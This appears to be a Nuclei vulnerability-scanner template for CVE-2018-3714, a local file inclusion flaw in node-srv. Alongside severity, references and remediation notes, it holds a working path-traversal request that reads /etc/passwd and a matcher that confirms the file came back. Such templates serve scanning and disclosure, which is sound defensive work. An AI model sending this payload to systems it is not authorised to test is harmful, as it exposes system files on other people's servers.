45 lines
1.4 KiB
YAML
45 lines
1.4 KiB
YAML
id: CVE-2018-3714
|
|
|
|
info:
|
|
name: node-srv - Local File Inclusion
|
|
author: madrobot
|
|
severity: medium
|
|
description: node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the node-srv application.
|
|
reference:
|
|
- https://hackerone.com/reports/309124
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-3714
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2018-3714
|
|
cwe-id: CWE-22
|
|
epss-score: 0.00364
|
|
epss-percentile: 0.69246
|
|
cpe: cpe:2.3:a:node-srv_project:node-srv:*:*:*:*:*:node.js:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: node-srv_project
|
|
product: node-srv
|
|
framework: node.js
|
|
tags: cve,cve2018,nodejs,lfi,hackerone
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/node_modules/../../../../../etc/passwd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a00463044022023b7acb7a98cfa84b6fc532cfd466924e8ec3ddcae7d68e48c4d8800bb04b4e3022064df9f6dacb435a1a47115a09711c801c17c970c1dfe909fffdc21373ed071aa:922c64590222798bb761d5b6d8e72950
|